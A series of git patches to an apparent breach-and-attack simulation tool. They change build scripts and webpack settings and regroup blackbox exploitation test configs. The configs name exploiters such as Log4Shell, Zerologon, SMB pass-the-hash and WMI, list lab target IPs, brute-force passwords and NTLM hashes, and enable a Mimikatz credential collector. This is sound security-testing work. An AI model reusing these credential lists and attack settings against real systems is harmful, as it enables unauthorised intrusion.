`npm run dev` on development build --- build_scripts/appimage/appimage.sh | 3 ++- build_scripts/build_package.sh | 7 ++++++- build_scripts/common.sh | 9 ++++++++- build_scripts/docker/docker.sh | 3 ++- 4 files changed, 18 insertions(+), 4 deletions(-) diff --git a/build_scripts/appimage/appimage.sh b/build_scripts/appimage/appimage.sh index e7064f0cc..e81291dd0 100755 --- a/build_scripts/appimage/appimage.sh +++ b/build_scripts/appimage/appimage.sh @@ -28,6 +28,7 @@ setup_build_dir() { local agent_binary_dir=$1 local monkey_repo=$2 local deployment_type=$3 + local is_release_build=$4 pushd $APPIMAGE_DIR @@ -44,7 +45,7 @@ setup_build_dir() { install_mongodb generate_ssl_cert "$BUILD_DIR" - build_frontend "$BUILD_DIR" + build_frontend "$BUILD_DIR" "$is_release_build" remove_python_appdir_artifacts diff --git a/build_scripts/build_package.sh b/build_scripts/build_package.sh index aee36de6a..88f24b4fc 100755 --- a/build_scripts/build_package.sh +++ b/build_scripts/build_package.sh @@ -196,8 +196,13 @@ fi install_build_prereqs install_package_specific_build_prereqs "$WORKSPACE" +is_release_build=false +# Monkey version is empty on release build +if [ ! -z "$monkey_version" ]; then + is_release_build=true +fi -setup_build_dir "$agent_binary_dir" "$monkey_repo" "$deployment_type" +setup_build_dir "$agent_binary_dir" "$monkey_repo" "$deployment_type" "$is_release_build" commit_id=$(get_commit_id "$monkey_repo") build_package "$monkey_version" "$commit_id" "$DIST_DIR" diff --git a/build_scripts/common.sh b/build_scripts/common.sh index abeef5f0d..7c222b8a5 100644 --- a/build_scripts/common.sh +++ b/build_scripts/common.sh @@ -74,11 +74,18 @@ generate_ssl_cert() { build_frontend() { local ui_dir="$1/monkey_island/cc/ui" + local is_release_build=$2 pushd "$ui_dir" || handle_error log_message "Generating front end" npm ci - npm run dist + if [ "$is_release_build" == true ]; then + log_message "Running production front end build" + npm run dist + else + log_message "Running development front end build" + npm run dev + fi popd || handle_error diff --git a/build_scripts/docker/docker.sh b/build_scripts/docker/docker.sh index 42004f8f7..e0bd31b5d 100755 --- a/build_scripts/docker/docker.sh +++ b/build_scripts/docker/docker.sh @@ -9,6 +9,7 @@ install_package_specific_build_prereqs() { setup_build_dir() { local agent_binary_dir=$1 local monkey_repo=$2 + local is_release_build=$4 local build_dir=$DOCKER_DIR/monkey mkdir "$build_dir" @@ -22,7 +23,7 @@ setup_build_dir() { generate_ssl_cert "$build_dir" - build_frontend "$build_dir" + build_frontend "$build_dir" "$is_release_build" } copy_entrypoint_to_build_dir() { From b6bc631d23ecbbac6cd35fa2c96b34ad59c05f34 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 12 Apr 2022 16:17:48 +0200 Subject: [PATCH 1086/1110] UI: Remove caching from webpack Every build needs to start on clean on production. --- monkey/monkey_island/cc/ui/webpack.config.js | 4 ---- 1 file changed, 4 deletions(-) diff --git a/monkey/monkey_island/cc/ui/webpack.config.js b/monkey/monkey_island/cc/ui/webpack.config.js index bf691a506..1179e6391 100644 --- a/monkey/monkey_island/cc/ui/webpack.config.js +++ b/monkey/monkey_island/cc/ui/webpack.config.js @@ -10,10 +10,6 @@ const smp = new SpeedMeasurePlugin({ disable: isProduction }); module.exports = smp.wrap({ mode : isProduction ? 'production' : 'development', - cache: { - type: 'filesystem', - memoryCacheUnaffected: true - }, module: { rules: [ { test: /\.tsx?$/, From c25dbba5589673c3afd9f895f2b9f495ea53e7fa Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 7 Apr 2022 14:40:20 +0300 Subject: [PATCH 1087/1110] BB: Add missing tqdm package --- monkey/monkey_island/Pipfile | 1 + monkey/monkey_island/Pipfile.lock | 34 +++++++++++++++++++------------ 2 files changed, 22 insertions(+), 13 deletions(-) diff --git a/monkey/monkey_island/Pipfile b/monkey/monkey_island/Pipfile index 06dd0daef..a29ad0384 100644 --- a/monkey/monkey_island/Pipfile +++ b/monkey/monkey_island/Pipfile @@ -38,6 +38,7 @@ pytest-cov = "*" isort = "==5.10.1" coverage = "*" vulture = "==2.3" +tqdm = "*" # Used in BB tests [requires] python_version = "3.7" diff --git a/monkey/monkey_island/Pipfile.lock b/monkey/monkey_island/Pipfile.lock index 196059612..b1cb4660d 100644 --- a/monkey/monkey_island/Pipfile.lock +++ b/monkey/monkey_island/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "260be37685cd94ec3e28773e82834ee6564462ace9b7b1c9242dcf611e33fd25" + "sha256": "48c3a77a6022276d2607c19ae66490310fa8fa99e07e888b416c181e5ec0b534" }, "pipfile-spec": 6, "requires": { @@ -759,11 +759,11 @@ }, "setuptools": { "hashes": [ - "sha256:425ec0e0014c5bcc1104dd1099de6c8f0584854fc9a4f512575f5ed5ee399fb9", - "sha256:6d59c30ce22dd583b42cacf51eebe4c6ea72febaa648aa8b30e5015d23a191fe" + "sha256:7999cbd87f1b6e1f33bf47efa368b224bed5e27b5ef2c4d46580186cbcb1a86a", + "sha256:a65e3802053e99fc64c6b3b29c11132943d5b8c8facbcc461157511546510967" ], "markers": "python_version >= '3.7'", - "version": "==61.3.0" + "version": "==62.0.0" }, "six": { "hashes": [ @@ -791,11 +791,11 @@ }, "werkzeug": { "hashes": [ - "sha256:094ecfc981948f228b30ee09dbfe250e474823b69b9b1292658301b5894bbf08", - "sha256:9b55466a3e99e13b1f0686a66117d39bda85a992166e0a79aedfcf3586328f7a" + "sha256:3c5493ece8268fecdcdc9c0b112211acd006354723b280d643ec732b6d4063d6", + "sha256:f8e89a20aeabbe8a893c24a461d3ee5dad2123b05cc6abd73ceed01d39c3ae74" ], "index": "pypi", - "version": "==2.1.0" + "version": "==2.1.1" }, "wirerope": { "hashes": [ @@ -805,11 +805,11 @@ }, "zipp": { "hashes": [ - "sha256:9f50f446828eb9d45b267433fd3e9da8d801f614129124863f9c51ebceafb87d", - "sha256:b47250dd24f92b7dd6a0a8fc5244da14608f3ca90a5efcd37a3b1642fac9a375" + "sha256:56bf8aadb83c24db6c4b577e13de374ccfb67da2078beba1d037c17980bf43ad", + "sha256:c4f6e5bbf48e74f7a38e7cc5b0480ff42b0ae5178957d564d18932525d5cf099" ], "markers": "python_version >= '3.7'", - "version": "==3.7.0" + "version": "==3.8.0" }, "zope.event": { "hashes": [ @@ -1208,6 +1208,14 @@ "markers": "python_version < '3.11'", "version": "==2.0.1" }, + "tqdm": { + "hashes": [ + "sha256:40be55d30e200777a307a7585aee69e4eabb46b4ec6a4b4a5f2d9f11e7d5408d", + "sha256:74a2cdefe14d11442cedf3ba4e21a3b84ff9a2dbdc6cfae2c34addb2a14a5ea6" + ], + "index": "pypi", + "version": "==4.64.0" + }, "typed-ast": { "hashes": [ "sha256:0eb77764ea470f14fcbb89d51bc6bbf5e7623446ac4ed06cbd9ca9495b62e36e", @@ -1272,11 +1280,11 @@ }, "zipp": { "hashes": [ - "sha256:9f50f446828eb9d45b267433fd3e9da8d801f614129124863f9c51ebceafb87d", - "sha256:b47250dd24f92b7dd6a0a8fc5244da14608f3ca90a5efcd37a3b1642fac9a375" + "sha256:56bf8aadb83c24db6c4b577e13de374ccfb67da2078beba1d037c17980bf43ad", + "sha256:c4f6e5bbf48e74f7a38e7cc5b0480ff42b0ae5178957d564d18932525d5cf099" ], "markers": "python_version >= '3.7'", - "version": "==3.7.0" + "version": "==3.8.0" } } } From 48469a59a6bb1022e3bb393fed306e0112b75fcc Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 12 Apr 2022 12:55:21 +0300 Subject: [PATCH 1088/1110] BB: Move single test templates into a dedicated folder --- .../blackbox/config_templates/{ => single_tests}/hadoop.py | 0 .../config_templates/{ => single_tests}/log4j_logstash.py | 0 .../blackbox/config_templates/{ => single_tests}/log4j_solr.py | 0 .../blackbox/config_templates/{ => single_tests}/log4j_tomcat.py | 0 .../blackbox/config_templates/{ => single_tests}/mssql.py | 0 .../blackbox/config_templates/{ => single_tests}/performance.py | 0 .../blackbox/config_templates/{ => single_tests}/powershell.py | 0 .../{ => single_tests}/powershell_credentials_reuse.py | 0 .../blackbox/config_templates/{ => single_tests}/smb_mimikatz.py | 0 .../blackbox/config_templates/{ => single_tests}/smb_pth.py | 0 .../blackbox/config_templates/{ => single_tests}/ssh.py | 0 .../blackbox/config_templates/{ => single_tests}/tunneling.py | 0 .../blackbox/config_templates/{ => single_tests}/wmi_mimikatz.py | 0 .../blackbox/config_templates/{ => single_tests}/wmi_pth.py | 0 .../blackbox/config_templates/{ => single_tests}/zerologon.py | 0 15 files changed, 0 insertions(+), 0 deletions(-) rename envs/monkey_zoo/blackbox/config_templates/{ => single_tests}/hadoop.py (100%) rename envs/monkey_zoo/blackbox/config_templates/{ => single_tests}/log4j_logstash.py (100%) rename envs/monkey_zoo/blackbox/config_templates/{ => single_tests}/log4j_solr.py (100%) rename envs/monkey_zoo/blackbox/config_templates/{ => single_tests}/log4j_tomcat.py (100%) rename envs/monkey_zoo/blackbox/config_templates/{ => single_tests}/mssql.py (100%) rename envs/monkey_zoo/blackbox/config_templates/{ => single_tests}/performance.py (100%) rename envs/monkey_zoo/blackbox/config_templates/{ => single_tests}/powershell.py (100%) rename envs/monkey_zoo/blackbox/config_templates/{ => single_tests}/powershell_credentials_reuse.py (100%) rename envs/monkey_zoo/blackbox/config_templates/{ => single_tests}/smb_mimikatz.py (100%) rename envs/monkey_zoo/blackbox/config_templates/{ => single_tests}/smb_pth.py (100%) rename envs/monkey_zoo/blackbox/config_templates/{ => single_tests}/ssh.py (100%) rename envs/monkey_zoo/blackbox/config_templates/{ => single_tests}/tunneling.py (100%) rename envs/monkey_zoo/blackbox/config_templates/{ => single_tests}/wmi_mimikatz.py (100%) rename envs/monkey_zoo/blackbox/config_templates/{ => single_tests}/wmi_pth.py (100%) rename envs/monkey_zoo/blackbox/config_templates/{ => single_tests}/zerologon.py (100%) diff --git a/envs/monkey_zoo/blackbox/config_templates/hadoop.py b/envs/monkey_zoo/blackbox/config_templates/single_tests/hadoop.py similarity index 100% rename from envs/monkey_zoo/blackbox/config_templates/hadoop.py rename to envs/monkey_zoo/blackbox/config_templates/single_tests/hadoop.py diff --git a/envs/monkey_zoo/blackbox/config_templates/log4j_logstash.py b/envs/monkey_zoo/blackbox/config_templates/single_tests/log4j_logstash.py similarity index 100% rename from envs/monkey_zoo/blackbox/config_templates/log4j_logstash.py rename to envs/monkey_zoo/blackbox/config_templates/single_tests/log4j_logstash.py diff --git a/envs/monkey_zoo/blackbox/config_templates/log4j_solr.py b/envs/monkey_zoo/blackbox/config_templates/single_tests/log4j_solr.py similarity index 100% rename from envs/monkey_zoo/blackbox/config_templates/log4j_solr.py rename to envs/monkey_zoo/blackbox/config_templates/single_tests/log4j_solr.py diff --git a/envs/monkey_zoo/blackbox/config_templates/log4j_tomcat.py b/envs/monkey_zoo/blackbox/config_templates/single_tests/log4j_tomcat.py similarity index 100% rename from envs/monkey_zoo/blackbox/config_templates/log4j_tomcat.py rename to envs/monkey_zoo/blackbox/config_templates/single_tests/log4j_tomcat.py diff --git a/envs/monkey_zoo/blackbox/config_templates/mssql.py b/envs/monkey_zoo/blackbox/config_templates/single_tests/mssql.py similarity index 100% rename from envs/monkey_zoo/blackbox/config_templates/mssql.py rename to envs/monkey_zoo/blackbox/config_templates/single_tests/mssql.py diff --git a/envs/monkey_zoo/blackbox/config_templates/performance.py b/envs/monkey_zoo/blackbox/config_templates/single_tests/performance.py similarity index 100% rename from envs/monkey_zoo/blackbox/config_templates/performance.py rename to envs/monkey_zoo/blackbox/config_templates/single_tests/performance.py diff --git a/envs/monkey_zoo/blackbox/config_templates/powershell.py b/envs/monkey_zoo/blackbox/config_templates/single_tests/powershell.py similarity index 100% rename from envs/monkey_zoo/blackbox/config_templates/powershell.py rename to envs/monkey_zoo/blackbox/config_templates/single_tests/powershell.py diff --git a/envs/monkey_zoo/blackbox/config_templates/powershell_credentials_reuse.py b/envs/monkey_zoo/blackbox/config_templates/single_tests/powershell_credentials_reuse.py similarity index 100% rename from envs/monkey_zoo/blackbox/config_templates/powershell_credentials_reuse.py rename to envs/monkey_zoo/blackbox/config_templates/single_tests/powershell_credentials_reuse.py diff --git a/envs/monkey_zoo/blackbox/config_templates/smb_mimikatz.py b/envs/monkey_zoo/blackbox/config_templates/single_tests/smb_mimikatz.py similarity index 100% rename from envs/monkey_zoo/blackbox/config_templates/smb_mimikatz.py rename to envs/monkey_zoo/blackbox/config_templates/single_tests/smb_mimikatz.py diff --git a/envs/monkey_zoo/blackbox/config_templates/smb_pth.py b/envs/monkey_zoo/blackbox/config_templates/single_tests/smb_pth.py similarity index 100% rename from envs/monkey_zoo/blackbox/config_templates/smb_pth.py rename to envs/monkey_zoo/blackbox/config_templates/single_tests/smb_pth.py diff --git a/envs/monkey_zoo/blackbox/config_templates/ssh.py b/envs/monkey_zoo/blackbox/config_templates/single_tests/ssh.py similarity index 100% rename from envs/monkey_zoo/blackbox/config_templates/ssh.py rename to envs/monkey_zoo/blackbox/config_templates/single_tests/ssh.py diff --git a/envs/monkey_zoo/blackbox/config_templates/tunneling.py b/envs/monkey_zoo/blackbox/config_templates/single_tests/tunneling.py similarity index 100% rename from envs/monkey_zoo/blackbox/config_templates/tunneling.py rename to envs/monkey_zoo/blackbox/config_templates/single_tests/tunneling.py diff --git a/envs/monkey_zoo/blackbox/config_templates/wmi_mimikatz.py b/envs/monkey_zoo/blackbox/config_templates/single_tests/wmi_mimikatz.py similarity index 100% rename from envs/monkey_zoo/blackbox/config_templates/wmi_mimikatz.py rename to envs/monkey_zoo/blackbox/config_templates/single_tests/wmi_mimikatz.py diff --git a/envs/monkey_zoo/blackbox/config_templates/wmi_pth.py b/envs/monkey_zoo/blackbox/config_templates/single_tests/wmi_pth.py similarity index 100% rename from envs/monkey_zoo/blackbox/config_templates/wmi_pth.py rename to envs/monkey_zoo/blackbox/config_templates/single_tests/wmi_pth.py diff --git a/envs/monkey_zoo/blackbox/config_templates/zerologon.py b/envs/monkey_zoo/blackbox/config_templates/single_tests/zerologon.py similarity index 100% rename from envs/monkey_zoo/blackbox/config_templates/zerologon.py rename to envs/monkey_zoo/blackbox/config_templates/single_tests/zerologon.py From 9ca061e23c6ec197b10db5c7cf9b6fd79fa0f100 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 12 Apr 2022 13:53:55 +0300 Subject: [PATCH 1089/1110] BB: Add config templates for grouped tests --- .../config_templates/grouped/depth_1_a.py | 46 ++++++++++++++++++ .../config_templates/grouped/depth_1_b.py | 22 +++++++++ .../config_templates/grouped/depth_4_a.py | 48 +++++++++++++++++++ .../config_templates/single_tests/__init__.py | 0 .../utils/config_generation_script.py | 34 ++----------- 5 files changed, 120 insertions(+), 30 deletions(-) create mode 100644 envs/monkey_zoo/blackbox/config_templates/grouped/depth_1_a.py create mode 100644 envs/monkey_zoo/blackbox/config_templates/grouped/depth_1_b.py create mode 100644 envs/monkey_zoo/blackbox/config_templates/grouped/depth_4_a.py create mode 100644 envs/monkey_zoo/blackbox/config_templates/single_tests/__init__.py diff --git a/envs/monkey_zoo/blackbox/config_templates/grouped/depth_1_a.py b/envs/monkey_zoo/blackbox/config_templates/grouped/depth_1_a.py new file mode 100644 index 000000000..92a522dc6 --- /dev/null +++ b/envs/monkey_zoo/blackbox/config_templates/grouped/depth_1_a.py @@ -0,0 +1,46 @@ +from copy import copy + +from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate + + +class Depth1A(ConfigTemplate): + config_values = copy(BaseTemplate.config_values) + # TODO ADD SMB PTH machine + # Tests: + # Hadoop + # Log4shell + # MSSQL + # SMB password stealing and brute force + # SSH password and key brute-force, key stealing + config_values.update( + { + "basic.exploiters.exploiter_classes": [ + "HadoopExploiter", + "Log4ShellExploiter", + "MSSQLExploiter", + "SmbExploiter", + "SSHExploiter", + ], + "basic_network.scope.subnet_scan_list": [ + "10.2.2.2", + "10.2.2.3", + "10.2.3.55", + "10.2.3.56", + "10.2.3.49", + "10.2.3.50", + "10.2.3.51", + "10.2.3.52", + "10.2.2.16", + "10.2.2.14", + "10.2.2.15", + "10.2.2.11", + "10.2.2.12", + ], + "basic.credentials.exploit_password_list": ["Ivrrw5zEzs", "Xk8VDTsC", "^NgDvY59~8"], + "basic.credentials.exploit_user_list": ["m0nk3y"], + "monkey.system_info.system_info_collector_classes": [ + "MimikatzCollector", + ], + } + ) diff --git a/envs/monkey_zoo/blackbox/config_templates/grouped/depth_1_b.py b/envs/monkey_zoo/blackbox/config_templates/grouped/depth_1_b.py new file mode 100644 index 000000000..548f52349 --- /dev/null +++ b/envs/monkey_zoo/blackbox/config_templates/grouped/depth_1_b.py @@ -0,0 +1,22 @@ +from copy import copy + +from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate + + +class Depth1B(ConfigTemplate): + config_values = copy(BaseTemplate.config_values) + # Tests: + # WMI + credential stealing + # Zerologon + config_values.update( + { + "basic.exploiters.exploiter_classes": ["WmiExploiter", "ZerologonExploiter"], + "basic_network.scope.subnet_scan_list": ["10.2.2.25", "10.2.2.14", "10.2.2.15"], + "basic.credentials.exploit_password_list": ["Ivrrw5zEzs"], + "basic.credentials.exploit_user_list": ["m0nk3y"], + "monkey.system_info.system_info_collector_classes": [ + "MimikatzCollector", + ], + } + ) diff --git a/envs/monkey_zoo/blackbox/config_templates/grouped/depth_4_a.py b/envs/monkey_zoo/blackbox/config_templates/grouped/depth_4_a.py new file mode 100644 index 000000000..36e06853c --- /dev/null +++ b/envs/monkey_zoo/blackbox/config_templates/grouped/depth_4_a.py @@ -0,0 +1,48 @@ +from copy import copy + +from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate + + +class Depth4A(ConfigTemplate): + config_values = copy(BaseTemplate.config_values) + + # Tests: + # Powershell + # Tunneling (SSH brute force) + # WMI mimikatz password stealing + config_values.update( + { + "basic.exploiters.exploiter_classes": [ + "PowerShellExploiter", + "SSHExploiter", + "WmiExploiter", + ], + "basic_network.scope.subnet_scan_list": [ + "10.2.3.45", + "10.2.3.46", + "10.2.3.47", + "10.2.3.48", + "10.2.2.9", + "10.2.1.10", + "10.2.0.12", + "10.2.0.11", + "10.2.2.15", + ], + "basic.credentials.exploit_password_list": [ + "Passw0rd!", + "3Q=(Ge(+&w]*", + "`))jU7L(w}", + "t67TC5ZDmz" "Ivrrw5zEzs", + ], + "basic_network.scope.depth": 3, + "internal.general.keep_tunnel_open_time": 20, + "basic.credentials.exploit_user_list": ["m0nk3y", "m0nk3y-user"], + "internal.network.tcp_scanner.HTTP_PORTS": [], + "internal.exploits.exploit_ntlm_hash_list": [ + "5da0889ea2081aa79f6852294cba4a5e", + "50c9987a6bf1ac59398df9f911122c9b", + ], + "internal.network.tcp_scanner.tcp_target_ports": [5985, 5986, 22, 135], + } + ) diff --git a/envs/monkey_zoo/blackbox/config_templates/single_tests/__init__.py b/envs/monkey_zoo/blackbox/config_templates/single_tests/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/envs/monkey_zoo/blackbox/utils/config_generation_script.py b/envs/monkey_zoo/blackbox/utils/config_generation_script.py index 76abff669..178f92a95 100644 --- a/envs/monkey_zoo/blackbox/utils/config_generation_script.py +++ b/envs/monkey_zoo/blackbox/utils/config_generation_script.py @@ -3,20 +3,9 @@ import pathlib from typing import Type from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate -from envs.monkey_zoo.blackbox.config_templates.hadoop import Hadoop -from envs.monkey_zoo.blackbox.config_templates.log4j_logstash import Log4jLogstash -from envs.monkey_zoo.blackbox.config_templates.log4j_solr import Log4jSolr -from envs.monkey_zoo.blackbox.config_templates.log4j_tomcat import Log4jTomcat -from envs.monkey_zoo.blackbox.config_templates.mssql import Mssql -from envs.monkey_zoo.blackbox.config_templates.performance import Performance -from envs.monkey_zoo.blackbox.config_templates.powershell import PowerShell -from envs.monkey_zoo.blackbox.config_templates.smb_mimikatz import SmbMimikatz -from envs.monkey_zoo.blackbox.config_templates.smb_pth import SmbPth -from envs.monkey_zoo.blackbox.config_templates.ssh import Ssh -from envs.monkey_zoo.blackbox.config_templates.tunneling import Tunneling -from envs.monkey_zoo.blackbox.config_templates.wmi_mimikatz import WmiMimikatz -from envs.monkey_zoo.blackbox.config_templates.wmi_pth import WmiPth -from envs.monkey_zoo.blackbox.config_templates.zerologon import Zerologon +from envs.monkey_zoo.blackbox.config_templates.grouped.depth_1_a import Depth1A +from envs.monkey_zoo.blackbox.config_templates.grouped.depth_1_b import Depth1B +from envs.monkey_zoo.blackbox.config_templates.grouped.depth_4_a import Depth4A from envs.monkey_zoo.blackbox.island_client.island_config_parser import IslandConfigParser from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient @@ -34,22 +23,7 @@ args = parser.parse_args() island_client = MonkeyIslandClient(args.island_ip) -CONFIG_TEMPLATES = [ - Hadoop, - Mssql, - Performance, - PowerShell, - SmbMimikatz, - SmbPth, - Ssh, - Tunneling, - WmiMimikatz, - WmiPth, - Zerologon, - Log4jLogstash, - Log4jTomcat, - Log4jSolr, -] +CONFIG_TEMPLATES = [Depth1A, Depth1B, Depth4A] def generate_templates(): From ceabb99e7cf86d68e8c572f9e1710c3cac390217 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 12 Apr 2022 13:59:46 +0300 Subject: [PATCH 1090/1110] BB: Add time log for monkey killing time --- envs/monkey_zoo/blackbox/tests/exploitation.py | 1 + 1 file changed, 1 insertion(+) diff --git a/envs/monkey_zoo/blackbox/tests/exploitation.py b/envs/monkey_zoo/blackbox/tests/exploitation.py index 15ad409eb..31449e1f1 100644 --- a/envs/monkey_zoo/blackbox/tests/exploitation.py +++ b/envs/monkey_zoo/blackbox/tests/exploitation.py @@ -89,6 +89,7 @@ class ExploitationTest(BasicTest): if time_passed > MAX_TIME_FOR_MONKEYS_TO_DIE: LOGGER.error("Some monkeys didn't die after the test, failing") assert False + LOGGER.info(f"After {time_passed} seconds all monkeys have died") def parse_logs(self): LOGGER.info("Parsing test logs:") From 7a3ec16d16ea3a6587a59fc5d931a0abe449dfa7 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 12 Apr 2022 14:10:36 +0300 Subject: [PATCH 1091/1110] BB: Add powershell empty credential login test to depth_1_a test --- envs/monkey_zoo/blackbox/config_templates/grouped/depth_1_a.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/envs/monkey_zoo/blackbox/config_templates/grouped/depth_1_a.py b/envs/monkey_zoo/blackbox/config_templates/grouped/depth_1_a.py index 92a522dc6..13c82bf92 100644 --- a/envs/monkey_zoo/blackbox/config_templates/grouped/depth_1_a.py +++ b/envs/monkey_zoo/blackbox/config_templates/grouped/depth_1_a.py @@ -13,6 +13,7 @@ class Depth1A(ConfigTemplate): # MSSQL # SMB password stealing and brute force # SSH password and key brute-force, key stealing + # Powershell credential reuse (powershell login with empty password) config_values.update( { "basic.exploiters.exploiter_classes": [ @@ -21,6 +22,7 @@ class Depth1A(ConfigTemplate): "MSSQLExploiter", "SmbExploiter", "SSHExploiter", + "PowerShellExploiter", ], "basic_network.scope.subnet_scan_list": [ "10.2.2.2", @@ -36,6 +38,7 @@ class Depth1A(ConfigTemplate): "10.2.2.15", "10.2.2.11", "10.2.2.12", + "10.2.3.46", ], "basic.credentials.exploit_password_list": ["Ivrrw5zEzs", "Xk8VDTsC", "^NgDvY59~8"], "basic.credentials.exploit_user_list": ["m0nk3y"], From 91a431517abd9506aea564b4d24ca680dcd3b0fa Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 12 Apr 2022 14:59:19 +0300 Subject: [PATCH 1092/1110] BB: Use grouped tests Grouping tests will allow us to run more tests at once --- envs/monkey_zoo/blackbox/test_blackbox.py | 140 +-------- .../blackbox/test_blackbox_in_depth.py | 296 ++++++++++++++++++ 2 files changed, 305 insertions(+), 131 deletions(-) create mode 100644 envs/monkey_zoo/blackbox/test_blackbox_in_depth.py diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index 31cbdd379..452a7ef81 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -8,39 +8,14 @@ from typing_extensions import Type from envs.monkey_zoo.blackbox.analyzers.communication_analyzer import CommunicationAnalyzer from envs.monkey_zoo.blackbox.analyzers.zerologon_analyzer import ZerologonAnalyzer from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate -from envs.monkey_zoo.blackbox.config_templates.hadoop import Hadoop -from envs.monkey_zoo.blackbox.config_templates.log4j_logstash import Log4jLogstash -from envs.monkey_zoo.blackbox.config_templates.log4j_solr import Log4jSolr -from envs.monkey_zoo.blackbox.config_templates.log4j_tomcat import Log4jTomcat -from envs.monkey_zoo.blackbox.config_templates.mssql import Mssql -from envs.monkey_zoo.blackbox.config_templates.performance import Performance -from envs.monkey_zoo.blackbox.config_templates.powershell import PowerShell -from envs.monkey_zoo.blackbox.config_templates.powershell_credentials_reuse import ( - PowerShellCredentialsReuse, -) -from envs.monkey_zoo.blackbox.config_templates.smb_mimikatz import SmbMimikatz -from envs.monkey_zoo.blackbox.config_templates.smb_pth import SmbPth -from envs.monkey_zoo.blackbox.config_templates.ssh import Ssh -from envs.monkey_zoo.blackbox.config_templates.tunneling import Tunneling -from envs.monkey_zoo.blackbox.config_templates.wmi_mimikatz import WmiMimikatz -from envs.monkey_zoo.blackbox.config_templates.wmi_pth import WmiPth -from envs.monkey_zoo.blackbox.config_templates.zerologon import Zerologon +from envs.monkey_zoo.blackbox.config_templates.grouped.depth_1_a import Depth1A +from envs.monkey_zoo.blackbox.config_templates.grouped.depth_1_b import Depth1B +from envs.monkey_zoo.blackbox.config_templates.grouped.depth_4_a import Depth4A from envs.monkey_zoo.blackbox.gcp_test_machine_list import GCP_TEST_MACHINE_LIST from envs.monkey_zoo.blackbox.island_client.island_config_parser import IslandConfigParser from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient from envs.monkey_zoo.blackbox.log_handlers.test_logs_handler import TestLogsHandler from envs.monkey_zoo.blackbox.tests.exploitation import ExploitationTest -from envs.monkey_zoo.blackbox.tests.performance.map_generation import MapGenerationTest -from envs.monkey_zoo.blackbox.tests.performance.map_generation_from_telemetries import ( - MapGenerationFromTelemetryTest, -) -from envs.monkey_zoo.blackbox.tests.performance.report_generation import ReportGenerationTest -from envs.monkey_zoo.blackbox.tests.performance.report_generation_from_telemetries import ( - ReportGenerationFromTelemetryTest, -) -from envs.monkey_zoo.blackbox.tests.performance.telemetry_performance_test import ( - TelemetryPerformanceTest, -) from envs.monkey_zoo.blackbox.utils.gcp_machine_handlers import ( initialize_gcp_client, start_machines, @@ -153,72 +128,17 @@ class TestMonkeyBlackbox: def get_log_dir_path(): return os.path.abspath(LOG_DIR_PATH) - def test_ssh_exploiter(self, island_client): - TestMonkeyBlackbox.run_exploitation_test(island_client, Ssh, "SSH_exploiter_and_keys") + def test_depth_1_a(self, island_client): + TestMonkeyBlackbox.run_exploitation_test(island_client, Depth1A, "Depth1A test suite") - def test_hadoop_exploiter(self, island_client): - TestMonkeyBlackbox.run_exploitation_test(island_client, Hadoop, "Hadoop_exploiter", 6 * 60) - - def test_mssql_exploiter(self, island_client): - TestMonkeyBlackbox.run_exploitation_test(island_client, Mssql, "MSSQL_exploiter") - - def test_powershell_exploiter(self, island_client): - TestMonkeyBlackbox.run_exploitation_test( - island_client, PowerShell, "PowerShell_Remoting_exploiter" - ) - - @pytest.mark.skip_powershell_reuse - def test_powershell_exploiter_credentials_reuse(self, island_client): - TestMonkeyBlackbox.run_exploitation_test( - island_client, - PowerShellCredentialsReuse, - "PowerShell_Remoting_exploiter_credentials_reuse", - ) - - def test_smb_and_mimikatz_exploiters(self, island_client): - TestMonkeyBlackbox.run_exploitation_test( - island_client, SmbMimikatz, "SMB_exploiter_mimikatz" - ) - - def test_smb_pth(self, island_client): - TestMonkeyBlackbox.run_exploitation_test(island_client, SmbPth, "SMB_PTH") - - def test_log4j_solr_exploiter(self, island_client): - TestMonkeyBlackbox.run_exploitation_test( - island_client, Log4jSolr, "Log4Shell_Solr_exploiter" - ) - - def test_log4j_tomcat_exploiter(self, island_client): - TestMonkeyBlackbox.run_exploitation_test( - island_client, Log4jTomcat, "Log4Shell_tomcat_exploiter" - ) - - def test_log4j_logstash_exploiter(self, island_client): - TestMonkeyBlackbox.run_exploitation_test( - island_client, Log4jLogstash, "Log4Shell_logstash_exploiter" - ) - - def test_tunneling(self, island_client): - TestMonkeyBlackbox.run_exploitation_test( - island_client, Tunneling, "Tunneling_exploiter", 3 * 60 - ) - - def test_wmi_and_mimikatz_exploiters(self, island_client): - TestMonkeyBlackbox.run_exploitation_test( - island_client, WmiMimikatz, "WMI_exploiter,_mimikatz" - ) - - def test_wmi_pth(self, island_client): - TestMonkeyBlackbox.run_exploitation_test(island_client, WmiPth, "WMI_PTH") - - def test_zerologon_exploiter(self, island_client): + def test_depth_1_b(self, island_client): test_name = "Zerologon_exploiter" expected_creds = [ "Administrator", "aad3b435b51404eeaad3b435b51404ee", "2864b62ea4496934a5d6e86f50b834a5", ] - raw_config = IslandConfigParser.get_raw_config(Zerologon, island_client) + raw_config = IslandConfigParser.get_raw_config(Depth1B, island_client) zero_logon_analyzer = ZerologonAnalyzer(island_client, expected_creds) communication_analyzer = CommunicationAnalyzer( island_client, IslandConfigParser.get_ips_of_targets(raw_config) @@ -235,47 +155,5 @@ 